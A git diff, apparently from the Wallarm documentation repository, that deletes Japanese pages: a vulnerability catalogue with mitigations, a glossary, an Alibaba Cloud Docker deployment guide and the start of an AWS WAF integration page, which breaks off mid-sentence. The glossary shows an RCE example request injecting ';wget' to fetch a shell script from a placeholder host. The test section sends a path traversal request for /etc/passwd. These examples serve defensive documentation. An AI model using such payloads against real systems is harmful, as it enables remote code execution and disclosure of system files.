-[link-owasp-xxe-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html -[link-owasp-xss-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html -[link-owasp-idor-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html -[link-owasp-ssrf-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html -[link-owasp-auth-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html -[link-owasp-ldapi-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html -[link-owasp-sqli-cheatsheet]: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html - -[link-ptrav-mitigation]: https://owasp.org/www-community/attacks/Path_Traversal - -[anchor-vuln-list]: #vulnerabilities-list - -[anchor-rce]: #remote-code-execution-rce -[anchor-ssrf]: #server-side-request-forgery-ssrf - -# FASTで検出可能な脆弱性 - -このドキュメントでは、FASTが検出するソフトウェアの脆弱性を一覧します。各項目にはその脆弱性に対応するWallarmコードが付与されています。ほとんどの脆弱性には[共通脆弱性タイプ(CWE)][link-cwe]コードも付記しています。 - -各項目にはその脆弱性に対応するWallarmコードが付与されています。 - -## 脆弱性一覧 - -### 異常 - -**CWEコード:** なし
        -**Wallarmコード:** `anomaly` - -#### 説明 - -異常とは、受信したリクエストに対するアプリケーションの反応が通常と異なることを指します。 - -検出された異常は、アプリケーションの弱く潜在的に脆弱な領域を示します。この脆弱性により、攻撃者はアプリケーションを直接攻撃するか、攻撃前にデータを収集できます。 - -### XML外部実体(XXE)への攻撃 - -**CWEコード:** [CWE-611][cwe-611]
        -**Wallarmコード:** `xxe` - -#### 説明 - -XXE脆弱性により、攻撃者はXMLドキュメントに外部実体を注入し、XMLパーサに評価させ、最終的にターゲットのWebサーバー上でそれを実行させることができます。 - -攻撃が成功すると、攻撃者は次のことが可能になります -* Webアプリケーションの機密データにアクセスする -* 内部ネットワークをスキャンする -* Webサーバー上のファイルを読み取る -* [SSRF][anchor-ssrf]攻撃を実行する -* サービス拒否(DoS)攻撃を実行する - -この脆弱性は、WebアプリケーションにおいてXML外部実体の解析を制限していないことが原因です。 - -#### 対策 - -次の推奨事項に従うことを推奨します: -* ユーザーが提供したXMLドキュメントを処理する際は、XML外部実体の解析を無効にしてください。 -* [OWASPのXXE防止チートシート][link-owasp-xxe-cheatsheet]の推奨事項を適用してください。 - - -### サーバーサイドテンプレートインジェクション(SSTI) - -**CWEコード:** [CWE-94][cwe-94], [CWE-159][cwe-159]
        -**Wallarmコード:** `ssti` - -#### 説明 - -SSTIに脆弱なWebサーバーでは、侵入者がユーザー入力フォームに実行可能なコードを注入し、そのコードがWebサーバーによって解釈・実行されてしまいます。 - -攻撃が成功すると、脆弱なWebサーバーが完全に侵害され、侵入者が任意のリクエストを実行したり、サーバーのファイルシステムを探索したり、特定の条件下では任意のコードをリモートで実行したり([「RCE攻撃」][anchor-rce]を参照)、その他多くのことが可能になります。 - -この脆弱性は、ユーザー入力の検証および解析が不適切であることに起因します。 - -#### 対策 - -入力内の内容が実行されないよう、すべてのユーザー入力をサニタイズおよびフィルタリングすることを推奨します。 - - -### クロスサイトリクエストフォージェリ(CSRF) - -**CWEコード:** [CWE-352][cwe-352]
        -**Wallarmコード:** `csrf` - -#### 説明 - -CSRF攻撃により、侵入者は正規ユーザーになりすまして脆弱なアプリケーションへリクエストを送信できます。 - -この脆弱性は、クロスサイトリクエストの実行時に、対象ドメイン名に設定されたCookieがユーザーのブラウザーによって自動的に付与されることが原因で発生します。 - -その結果、侵入者は、脆弱なサイトで認証済みの正規ユーザーになりすまして、悪意のあるWebサイトから脆弱なWebアプリケーションへリクエストを送信できます。さらに、そのユーザーのCookieにアクセスできる必要すらありません。 - -#### 対策 - -次の推奨事項に従うことを推奨します: -* CSRFトークンなどの対CSRF保護メカニズムを使用してください。 -* Cookie属性`SameSite`を設定してください。 -* [OWASPのCSRF防止チートシート][link-owasp-csrf-cheatsheet]の推奨事項を適用してください。 - - -### クロスサイトスクリプティング(XSS) - -**CWEコード:** [CWE-79][cwe-79]
        -**Wallarmコード:** `xss` - -#### 説明 - -クロスサイトスクリプティング攻撃により、侵入者は準備済みの任意コードをユーザーのブラウザー内で実行できます。 - -XSS攻撃にはいくつかの種類があります: -* 保存型XSSとは、悪意のあるコードがWebアプリケーションのページにあらかじめ埋め込まれている場合です。 - - Webアプリケーションが保存型XSSに脆弱な場合、攻撃者は悪意のあるコードをWebアプリケーションのHTMLページに注入できます。さらに、このコードは永続し、感染したウェブページを要求した任意のユーザーのブラウザーによって実行されます。 - -* 反射型XSSとは、侵入者が特別に作成したリンクをユーザーに開かせる場合です。 - -* DOMベースのXSSとは、Webアプリケーションのページに組み込まれたJavaScriptコード片の不備により、入力を解析してそれをJavaScriptコマンドとして実行してしまう場合です。 - -上記のいずれかの脆弱性が悪用されると、任意のJavaScriptコードが実行されます。XSS攻撃が成功すると、侵入者はユーザーのセッションや認証情報を盗み、ユーザーになりすましてリクエストを送信するなどの悪意ある行為を実行できます。 - -このクラスの脆弱性は、ユーザー入力の検証および解析が不適切であることが原因です。 - - -#### 対策 - -次の推奨事項に従うことを推奨します: -* 入力内の内容が実行されないよう、Webアプリケーションが入力として受け取るすべてのパラメータをサニタイズおよびフィルタリングしてください。 -* Webアプリケーションのページを生成する際には、動的に生成されるすべての要素をサニタイズし、エスケープしてください。 -* [OWASPのXSS防止チートシート][link-owasp-xss-cheatsheet]の推奨事項を適用してください。 - - -### 不適切な直接オブジェクト参照(IDOR) - -**CWEコード:** [CWE-639][cwe-639]
        -**Wallarmコード:** `idor` - -#### 説明 - -IDOR脆弱性があると、脆弱なWebアプリケーションの認証・認可メカニズムが、あるユーザーによる別のユーザーのデータやリソースへのアクセスを防止できません。 - -この脆弱性は、リクエスト文字列の一部を変更することで(例: ファイル、ディレクトリ、データベースのエントリ)オブジェクトにアクセスできる一方で、適切なアクセス制御メカニズムが実装されていないことが原因です。 - -この脆弱性を悪用するために、侵入者はリクエスト文字列を操作し、脆弱なWebアプリケーションまたはそのユーザーに属する機密情報への不正アクセスを得ます。 - -#### 対策 - -次の推奨事項に従うことを推奨します: -* Webアプリケーションのリソースに対して適切なアクセス制御メカニズムを実装してください。 -* ユーザーに割り当てられたロールに基づいてリソースへのアクセスを付与するロールベースのアクセス制御メカニズムを実装してください。 -* 間接オブジェクト参照を使用してください。 -* [OWASPのIDOR防止チートシート][link-owasp-idor-cheatsheet]の推奨事項を適用してください。 - - -### オープンリダイレクト - -**CWEコード:** [CWE-601][cwe-601]
        -**Wallarmコード:** `redir` - -#### 説明 - -侵入者は、正規のWebアプリケーションを介してユーザーを悪意のあるWebページへリダイレクトするために、オープンリダイレクト攻撃を利用できます。 - -この攻撃に対する脆弱性は、URL入力のフィルタリングが不適切であることが原因です。 - -#### 対策 - -次の推奨事項に従うことを推奨します: -* 入力内の内容が実行されないよう、Webアプリケーションが入力として受け取るすべてのパラメータをサニタイズおよびフィルタリングしてください。 -* 予定されているすべてのリダイレクトについてユーザーに通知し、明示的な許可を求めてください。 - - -### サーバーサイドリクエストフォージェリ(SSRF) - -**CWEコード:** [CWE-918][cwe-918]
        -**Wallarmコード:** `ssrf` - -#### 説明 - -SSRF攻撃が成功すると、侵入者が攻撃対象のWebサーバーになりすましてリクエストを送信できるようになります。これにより、脆弱なWebアプリケーションで使用中のネットワークポートの露呈、内部ネットワークのスキャン、認可のバイパスにつながる可能性があります。 - -#### 対策 - -次の推奨事項に従うことを推奨します: -* 入力内の内容が実行されないよう、Webアプリケーションが入力として受け取るすべてのパラメータをサニタイズおよびフィルタリングしてください。 -* [OWASPのSSRF防止チートシート][link-owasp-ssrf-cheatsheet]の推奨事項を適用してください。 - - -### 情報漏えい - -**CWEコード:** [CWE-200][cwe-200] (参照: [CWE-209][cwe-209], [CWE-215][cwe-215], [CWE-538][cwe-538], [CWE-541][cwe-541], [CWE-548][cwe-548])
        -**Wallarmコード:** `info` - -#### 説明 - -脆弱なWebアプリケーションが、アクセス権限のない主体に対して機密情報を意図的または非意図的に開示してしまいます。 - -#### 対策 - -Webアプリケーションが機密情報を表示できないようにすることを推奨します。 - - -### リモートコード実行(RCE) - -**CWEコード:** [CWE-78][cwe-78], [CWE-94][cwe-94] など
        -**Wallarmコード:** `rce` - -#### 説明 - -侵入者はWebアプリケーションへのリクエストに悪意のあるコードを注入し、アプリケーションがそのコードを実行してしまいます。また、脆弱なWebアプリケーションが稼働しているオペレーティングシステムに対して特定のコマンドを実行しようとする場合もあります。 - -RCE攻撃が成功すると、侵入者は次のような幅広い行為を実行できます -* 脆弱なWebアプリケーションのデータの機密性、可用性、完全性が損なわれます。 -* Webアプリケーションが稼働するオペレーティングシステムやサーバーを制御します。 -* その他の行為。 - -この脆弱性は、ユーザー入力の検証および解析が不適切であることが原因です。 - -#### 対策 - -入力内の内容が実行されないよう、すべてのユーザー入力をサニタイズおよびフィルタリングすることを推奨します。 - - -### 認証バイパス - -**CWEコード:** [CWE-288][cwe-288]
        -**Wallarmコード:** `auth` - -#### 説明 - -認証メカニズムが導入されていても、Webアプリケーションに、メインの認証メカニズムを迂回できる代替の認証方法が存在したり、その弱点を突かれたりすることがあります。これらの要因が組み合わさることで、攻撃者がユーザーまたは管理者権限でアクセスを獲得してしまう可能性があります。 - -認証バイパス攻撃が成功すると、ユーザーの機密データが開示されたり、管理者権限で脆弱なアプリケーションを制御されたりするおそれがあります。 - -#### 対策 - -次の推奨事項に従うことを推奨します: -* 既存の認証メカニズムを改善・強化してください。 -* 所定の認証手順を既定のメカニズムで迂回してアプリケーションへアクセスできてしまう可能性のある代替認証方法を排除してください。 -* [OWASPの認証チートシート][link-owasp-auth-cheatsheet]の推奨事項を適用してください。 - - -### LDAPインジェクション - -**CWEコード:** [CWE-90][cwe-90]
        -**Wallarmコード:** `ldapi` - -#### 説明 - -LDAPインジェクションは、LDAPサーバーへのリクエストを改変してLDAP検索フィルターを変更させる攻撃のクラスを指します。 - -LDAPインジェクション攻撃が成功すると、LDAPのユーザーやホストに関する機密データの読み取りおよび書き込み操作へのアクセスが可能になってしまう可能性があります。 - -この脆弱性は、ユーザー入力の検証および解析が不適切であることが原因です。 - -#### 対策 - -次の推奨事項に従うことを推奨します: -* 入力内の内容が実行されないよう、Webアプリケーションが入力として受け取るすべてのパラメータをサニタイズおよびフィルタリングしてください。 -* [OWASPのLDAPインジェクション防止チートシート][link-owasp-ldapi-cheatsheet]の推奨事項を適用してください。 - - -### NoSQLインジェクション - -**CWEコード:** [CWE-943][cwe-943]
        -**Wallarmコード:** `nosqli` - -#### 説明 - -この攻撃に対する脆弱性は、ユーザー入力のフィルタリングが不十分であることが原因です。NoSQLインジェクション攻撃は、NoSQLデータベースに特別に作成したクエリを注入して実行されます。 - -#### 対策 - -入力内の内容が実行されないよう、すべてのユーザー入力をサニタイズおよびフィルタリングすることを推奨します。 - - -### パストラバーサル - -**CWEコード:** [CWE-22][cwe-22]
        -**Wallarmコード:** `ptrav` - -#### 説明 - -パストラバーサル攻撃により、侵入者はWebアプリケーションのパラメータを介して既存のパスを改変し、脆弱なWebアプリケーションが存在するファイルシステム内に保存されている機密データを含むファイルやディレクトリへアクセスできます。 - -この攻撃に対する脆弱性は、ユーザーがWebアプリケーション経由でファイルやディレクトリを要求する際のユーザー入力のフィルタリングが不十分であることが原因です。 - -#### 対策 - -次の推奨事項に従うことを推奨します: -* 入力内の内容が実行されないよう、Webアプリケーションが入力として受け取るすべてのパラメータをサニタイズおよびフィルタリングしてください。 -* この種の攻撃の軽減に関する追加の推奨事項は[こちら][link-ptrav-mitigation]にあります。 - - -### SQLインジェクション - -**CWEコード:** [CWE-89][cwe-89]
        -**Wallarmコード:** `sqli` - -#### 説明 - -この攻撃に対する脆弱性は、ユーザー入力のフィルタリングが不十分であることが原因です。[SQLインジェクション攻撃](https://www.wallarm.com/what/structured-query-language-injection-sqli-part-1)は、SQLデータベースに特別に作成したクエリを注入して実行されます。 - -SQLインジェクション攻撃により、侵入者はSQLクエリに任意のSQLコードを注入できます。これにより、機密データの読み取りや変更へのアクセス、さらにDBMSの管理者権限が付与されてしまう可能性があります。 - -#### 対策 - -次の推奨事項に従うことを推奨します: -* 入力内の内容が実行されないよう、Webアプリケーションが入力として受け取るすべてのパラメータをサニタイズおよびフィルタリングしてください。 -* [OWASPのSQLインジェクション防止チートシート][link-owasp-sqli-cheatsheet]の推奨事項を適用してください。 \ No newline at end of file diff --git a/docs/latest-ja/glossary-en.md b/docs/latest-ja/glossary-en.md deleted file mode 100644 index a4e8b93b90..0000000000 --- a/docs/latest-ja/glossary-en.md +++ /dev/null @@ -1,99 +0,0 @@ -# 用語集 - -この用語集では、プラットフォームをよりよく理解していただくために、Wallarmの中核エンティティを紹介します。 - -## ヒット - -ヒットとは、シリアライズされた悪意のあるリクエスト（元の悪意のあるリクエストと、フィルタリングノードによって追加されたメタデータ）です。例： - -![ヒットの例](images/user-guides/events/analyze-attack-raw.png) - -[ヒットのパラメータの詳細](user-guides/events/check-attack.md#attack-analysis_1) - -## 攻撃 - -攻撃とは、単一のヒット、または[グループ化](user-guides/events/grouping-sampling.md#grouping-of-hits)された複数のヒットです。 - -単一のヒットを含む攻撃の例： - -![1つのヒットを含む攻撃](images/glossary/attack-with-one-hit-example.png) - -多数のヒットを含む攻撃の例： - -![複数のヒットを含む攻撃](images/glossary/attack-with-several-hits-example.png) - -攻撃の理解と分析方法の[詳細](user-guides/events/check-attack.md)を参照してください。 - -## 悪意のあるペイロード - -以下の要素を含む、元のリクエストの一部です。 - -* リクエスト内で検出された攻撃の兆候。同一の攻撃タイプを特徴づける複数の兆候がリクエスト内で検出された場合は、最初の兆候のみがペイロードに記録されます。 -* 攻撃の兆候のコンテキスト。コンテキストとは、検出された攻撃の兆候の前後にある文字の集合です。ペイロードの長さには制限があるため、攻撃の兆候がペイロード全体にわたる場合はコンテキストが省略されることがあります。 - -例： - -* リクエスト： - - ```bash - curl localhost/?23036d6ba7=%3Bwget+http%3A%2F%2Fsome_host%2Fsh311.sh - ``` -* 悪意のあるペイロード： - - ```bash - ;wget+http://s - ``` - - このペイロードでは、`;wget+`が[リモートコード実行（RCE）](attacks-vulns-list.md#remote-code-execution-rce)の攻撃の兆候であり、ペイロードの残りの部分はその兆候のコンテキストです。 - -攻撃の兆候は[行動ベースの攻撃](attacks-vulns-list.md#attack-types)の検出には使用しないため、行動ベースの攻撃の一部として送信されたリクエストはペイロードが空です。 - -## 脆弱性 - -脆弱性とは、APIの構築または実装時の不注意や情報不足により生じ、情報セキュリティ上のリスクにつながり得る誤りです。 - -情報セキュリティ上のリスクには次のものがあります。 - -* 不正なデータアクセス（例：ユーザーデータの読み取りや変更へのアクセス）です。 -* サービス拒否です。 -* データ破損などです。 - -インターネットトラフィックは脆弱性の検出に利用できます。Wallarmは、他の機能とともに、これを実施しています。 - -## セキュリティインシデント - -セキュリティインシデントとは、脆弱性の悪用が発生した事象です。インシデントは、確認済みの脆弱性を標的とする[攻撃](#attack)です。 - -インシデントは攻撃と同様に、お客様のシステムの外部にある事象であり、システム自体ではなく外部のインターネットの特性です。既存の脆弱性を狙った攻撃は少数派ですが、情報セキュリティの観点では極めて重要です。Wallarmは既存の脆弱性を狙った攻撃を自動検出し、別個のオブジェクト（インシデント）として表示します。 - -あわせて[インシデントの分析](user-guides/events/check-incident.md)も参照してください。 - -## 循環バッファ -循環バッファとは、単一の固定サイズのバッファを端と端がつながっているかのように使用するデータ構造です。 -[Wikipediaを参照してください](https://en.wikipedia.org/wiki/Circular_buffer)。 - -## カスタムルールセット（旧称はLOM） - -カスタムルールセットは、WallarmノードがWallarm Cloudからダウンロードするコンパイル済みのセキュリティルールの集合です。 - -カスタムルールにより、トラフィック処理のための個別ルールを設定できます。例： - -* Wallarm Cloudにアップロードする前に機密データをマスクします -* 正規表現ベースの攻撃インジケーターを作成します -* アクティブな脆弱性を悪用するリクエストをブロックする仮想パッチを適用します -* 特定のリクエストで攻撃検出を無効化します、など。 - -カスタムルールセットは既定で空ではありません。Wallarm Cloudに登録されているすべてのクライアント向けに作成されたルールが含まれます。例えば、[**Settings → General**タブ](admin-en/configure-wallarm-mode.md#general-filtration-mode)の値を用いたフィルタリングモードルールが含まれます。 - -[カスタムルールセットの詳細](user-guides/rules/rules.md) - -## 無効なリクエスト -フィルタリングノードで検査され、LOMルールに一致しないリクエストです。 - -## リバースプロキシ -リバースプロキシは、クライアントに代わってサーバからリソースを取得し、それらがWebサーバ自身から提供されたかのようにクライアントに返す種類のプロキシサーバです。 -[Wikipediaを参照してください](https://en.wikipedia.org/wiki/Reverse_proxy)。 - -## 認証局 -認証局は、デジタル証明書を発行する機関です。 -[Wikipediaを参照してください](https://en.wikipedia.org/wiki/Certificate_authority)。 \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/alibaba-cloud/docker-container.md b/docs/latest-ja/installation/cloud-platforms/alibaba-cloud/docker-container.md deleted file mode 100644 index 41d38d4ccd..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/alibaba-cloud/docker-container.md +++ /dev/null @@ -1,150 +0,0 @@ -# Alibaba CloudへのWallarm Dockerイメージのデプロイ - -このクイックガイドでは、[NGINXベースのWallarmノードのDockerイメージ](https://hub.docker.com/r/wallarm/node)を[Alibaba Cloud Elastic Compute Service (ECS)](https://www.alibabacloud.com/product/ecs)を使用してAlibaba Cloudプラットフォームへデプロイする手順を説明します。 - -!!! warning "手順の制限事項" - 本手順には、ロードバランシングおよびノードのオートスケーリングの設定は含まれていません。これらを自身で設定する場合は、該当する[Alibaba Cloudのドキュメント](https://www.alibabacloud.com/help/product/27537.htm?spm=a2c63.m28257.a1.82.dfbf5922VNtjka)をお読みになることを推奨します。 - -## ユースケース - ---8<-- "../include/waf/installation/cloud-platforms/alibaba-ecs-use-cases.md" - -## 要件 - -* [Alibaba Cloud Console](https://account.alibabacloud.com/login/login.htm)へのアクセス -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス -* 攻撃検知ルールや[API仕様][api-policy-enf-docs]の更新をダウンロードし、さらに[許可リスト・拒否リスト・グレーリスト][graylist-docs]に登録した国、地域、またはデータセンターの正確なIPを取得するために、以下のIPアドレスへアクセスできること - - --8<-- "../include/wallarm-cloud-ips.md" - -## WallarmノードDockerコンテナの設定オプション - ---8<-- "../include/waf/installation/docker-running-options.md" - -## 環境変数で設定したWallarmノードDockerコンテナのデプロイ - -環境変数のみで設定したコンテナ化されたWallarmフィルタリングノードをデプロイするには、Alibaba Cloudインスタンスを作成し、そのインスタンス内でDockerコンテナを実行します。これらの手順はAlibaba Cloud Consoleまたは[Alibaba Cloud CLI](https://www.alibabacloud.com/help/doc-detail/25499.htm)で実行できます。本手順ではAlibaba Cloud Consoleを使用します。 - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. Alibaba Cloud Console→サービスの一覧→**Elastic Compute Service**→**Instances**を開きます。 -1. [Alibaba Cloudの手順](https://www.alibabacloud.com/help/doc-detail/87190.htm?spm=a2c63.p38356.b99.137.77df24df7fJ2XX)および以下のガイドラインに従ってインスタンスを作成します: - - * インスタンスは任意のOSイメージに基づいて作成できます。 - * インスタンスを外部リソースから利用できるようにするため、インスタンス設定でパブリックIPアドレスまたはドメインを構成する必要があります。 - * インスタンスの設定は、[インスタンスへの接続方法](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l)を反映している必要があります。 -1. [Alibaba Cloudのドキュメント](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l)に記載のいずれかの方法でインスタンスに接続します。 -1. 該当OSの[インストール手順](https://docs.docker.com/engine/install/#server)に従って、インスタンスにDockerパッケージをインストールします。 -1. コピーしたWallarmトークンをインスタンスの環境変数に設定し、Wallarm Cloudへの接続に使用します: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. 環境変数を渡し、設定ファイルをマウントして`docker run`コマンドでWallarmノードDockerコンテナを起動します: - - === "Wallarm US Cloud向けのコマンド" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e NGINX_BACKEND= -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/node:6.4.1 - ``` - === "Wallarm EU Cloud向けのコマンド" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e NGINX_BACKEND= -p 80:80 wallarm/node:6.4.1 - ``` - - * `-p`: フィルタリングノードが待ち受けるポート。値はインスタンスのポートと同一にします。 - * `-e`: フィルタリングノードの設定を行う環境変数（利用可能な変数は下表を参照）。`WALLARM_API_TOKEN`の値を明示的に渡すことは推奨しません。 - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" -1. [フィルタリングノードの動作をテスト](#testing-the-filtering-node-operation)します。 - -## マウントしたファイルで設定したWallarmノードDockerコンテナのデプロイ - -環境変数とマウントしたファイルで設定したコンテナ化されたWallarmフィルタリングノードをデプロイするには、Alibaba Cloudインスタンスを作成し、そのインスタンスのファイルシステムにフィルタリングノードの設定ファイルを配置して、インスタンス内でDockerコンテナを実行します。これらの手順はAlibaba Cloud Consoleまたは[Alibaba Cloud CLI](https://www.alibabacloud.com/help/doc-detail/25499.htm)で実行できます。本手順ではAlibaba Cloud Consoleを使用します。 - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. Alibaba Cloud Console→サービスの一覧→**Elastic Compute Service**→**Instances**を開きます。 -1. [Alibaba Cloudの手順](https://www.alibabacloud.com/help/doc-detail/87190.htm?spm=a2c63.p38356.b99.137.77df24df7fJ2XX)および以下のガイドラインに従ってインスタンスを作成します: - - * インスタンスは任意のOSイメージに基づいて作成できます。 - * インスタンスを外部リソースから利用できるようにするため、インスタンス設定でパブリックIPアドレスまたはドメインを構成する必要があります。 - * インスタンスの設定は、[インスタンスへの接続方法](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l)を反映している必要があります。 -1. [Alibaba Cloudのドキュメント](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l)に記載のいずれかの方法でインスタンスに接続します。 -1. 該当OSの[インストール手順](https://docs.docker.com/engine/install/#server)に従って、インスタンスにDockerパッケージをインストールします。 -1. コピーしたWallarmトークンをインスタンスの環境変数に設定し、Wallarm Cloudへの接続に使用します: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. インスタンス内に、フィルタリングノードの設定を含む`default`ファイルを配置したディレクトリを作成します（例: ディレクトリ名は`configs`）。最小設定の例: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [設定ファイルで指定できるフィルタリングノードのディレクティブ一式→][nginx-waf-directives] -1. 環境変数を渡し、設定ファイルをマウントして`docker run`コマンドでWallarmノードDockerコンテナを起動します: - - === "Wallarm US Cloud向けのコマンド" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v : -p 80:80 wallarm/node:6.4.1 - ``` - === "Wallarm EU Cloud向けのコマンド" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -v : -p 80:80 wallarm/node:6.4.1 - ``` - - * ``: 直前の手順で作成した設定ファイルへのパス。例: `configs`。 - * ``: 設定ファイルをマウントするコンテナ内のディレクトリ。設定ファイルは、NGINXが使用する以下のコンテナディレクトリにマウントできます: - - * `/etc/nginx/conf.d` — 共通設定 - * `/etc/nginx/http.d` — バーチャルホスト設定 - * `/var/www/html` — 静的ファイル - - フィルタリングノードのディレクティブは`/etc/nginx/http.d/default.conf`ファイルに記述してください。 - - * `-p`: フィルタリングノードが待ち受けるポート。値はインスタンスのポートと同一にします。 - * `-e`: フィルタリングノードの設定を行う環境変数（利用可能な変数は下表を参照）。`WALLARM_API_TOKEN`の値を明示的に渡すことは推奨しません。 - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. [フィルタリングノードの動作をテスト](#testing-the-filtering-node-operation)します。 - -## フィルタリングノードの動作テスト {#testing-the-filtering-node-operation} - -1. Alibaba Cloud Console→サービスの一覧→**Elastic Compute Service**→**Instances**を開き、**IP address**列からインスタンスのパブリックIPアドレスをコピーします。 - - ![コンテナインスタンスの設定][copy-container-ip-alibaba-img] - - IP addressが空の場合は、インスタンスが**Running**ステータスであることを確認してください。 - -2. コピーしたアドレスに、テスト用の[パストラバーサル][ptrav-attack-docs]攻撃のリクエストを送信します: - - ``` - curl http:///etc/passwd - ``` -3. Wallarm Console→**Attacks**（[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)）を開き、攻撃が一覧に表示されていることを確認します。 - ![UIのAttacks][attacks-in-ui-image] -1. 必要に応じて、ノードの他の動作も[テスト][link-docs-check-operation]します。 - -コンテナのデプロイ中に発生したエラーの詳細を確認するには、[いずれかの方法でインスタンスに接続](https://www.alibabacloud.com/help/doc-detail/71529.htm?spm=a2c63.p38356.b99.143.22388e44kpTM1l)して[コンテナログ][logging-docs]を確認します。インスタンスにアクセスできない場合は、フィルタリングノードの必須パラメータが正しい値でコンテナに渡されていることを確認してください。 \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/aws/aws-waf-integration.md b/docs/latest-ja/installation/cloud-platforms/aws/aws-waf-integration.md deleted file mode 100644 index 5f09269433..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/aws/aws-waf-integration.md +++ /dev/null @@ -1,74 +0,0 @@ -# AWS環境におけるAWS WAFとWallarmの統合 - -現代のクラウドアーキテクチャでは、境界とアプリケーションの中核の両方を保護するために、**多層的なセキュリティアプローチ**が不可欠です。AWS環境では、AWS WAFがロードバランサーやAPIゲートウェイなどのエントリポイントを防御し、Wallarmはスタックのより深い層でAPIやマイクロサービスを保護します。 - -これらを**多層防御（defense-in-depth）**の戦略として組み合わせることで、エッジからアプリケーション層までWebアプリケーションとAPIを包括的に保護します。 - -![!](../../../images/waf-installation/aws/aws-waf-wallarm-responsibilities.png) - -## AWS WAF: AWSインフラストラクチャの境界防御 - -[AWS WAF](https://docs.aws.amazon.com/waf/latest/developerguide/waf-chapter.html)は、ネットワークエッジにおける**第一の防衛線**として機能し、アプリケーションに到達する前のHTTP(S)トラフィックをリアルタイムにフィルタリングします。Web ACLを使用してSQLインジェクションやXSSなどの一般的な脅威をブロックし、ヘッダー、URI、ボディなどリクエストのさまざまな部分を検査できます。 - -フルマネージドサービスとして、AWS WAFは自動的にスケールし、DDoS対策のためにAWS Shieldと、アカウント横断のルール適用を一元化するFirewall Managerと連携します。 - -AWS WAFは、既知の脅威や悪意のあるパターンを大規模にブロックする境界防御を確立し、クラウド全体のインフラストラクチャを保護します。しかし、より複雑なアプリケーション層やAPI特有の攻撃を特定するには、より深い検査が必要になることが多く、これはWallarmが得意とする領域です。 - -## Wallarm: マイクロサービスのためのAPI中心のアプリケーションセキュリティ - -Wallarmは、特にAPIやマイクロサービスベースのアーキテクチャを対象に、モダンなアプリケーションを保護するために設計された**高度なAPIセキュリティ**プラットフォームです。AWS WAFが境界に焦点を当てるのに対し、**Wallarmはアプリケーションに近い場所で動作し**、API、マイクロサービス、アプリケーションロジックに関するコンテキストを踏まえてトラフィックを分析します。 - -Wallarmは、**深いリクエスト検査、アダプティブフィルタリング、AI駆動の脅威検知**を用いて、従来のパターンベースのWAFでは見逃されがちな複雑な攻撃を検知します。 - -Wallarmは、**API特有の脅威**（例: JSON APIリクエストにおける論理的欠陥の悪用やパラメータ改ざん攻撃）や、**異常検知**（通常のAPI動作から逸脱する不自然な利用パターンの捕捉）に優れています。 - -## デプロイメントトポロジー - -### クラウドネイティブスタックでのデプロイ - -Wallarmは、クラウドおよびコンテナ化された環境にシームレスにデプロイできるよう設計されています。コンテナ化サービス、インラインプロキシ、またはNGINXやKongのようなプロキシに統合するモジュールとして実行できます。 - -AWSでは、WallarmはEKS、ECS（Fargateを含む）、あるいはAMI経由でのEC2へのデプロイに対応し、さまざまなアーキテクチャに柔軟に対応します。REST、GraphQL、gRPC、WebSocketといった最新のAPIプロトコルをサポートし、これらのレイヤーを横断するトラフィックを保護します。 - -WallarmノードはAWS Auto ScalingやKubernetesのオートスケーラーを利用して自動的にスケールし、サービスの成長に合わせてセキュリティレイヤーも同時に拡張します。 - -[AWS向けのすべてのWallarmデプロイオプション](../../../installation/supported-deployment-options.md#public-clouds) - -### APIおよびマイクロサービス保護機能 - -WallarmはAPIトラフィックに対する深い理解により際立っています。複雑なJSON/XMLペイロードを解析し、入れ子になったパラメータを処理し、APIスキーマを強制して不正利用を防止できます。ロジックに基づくAPI攻撃（例: 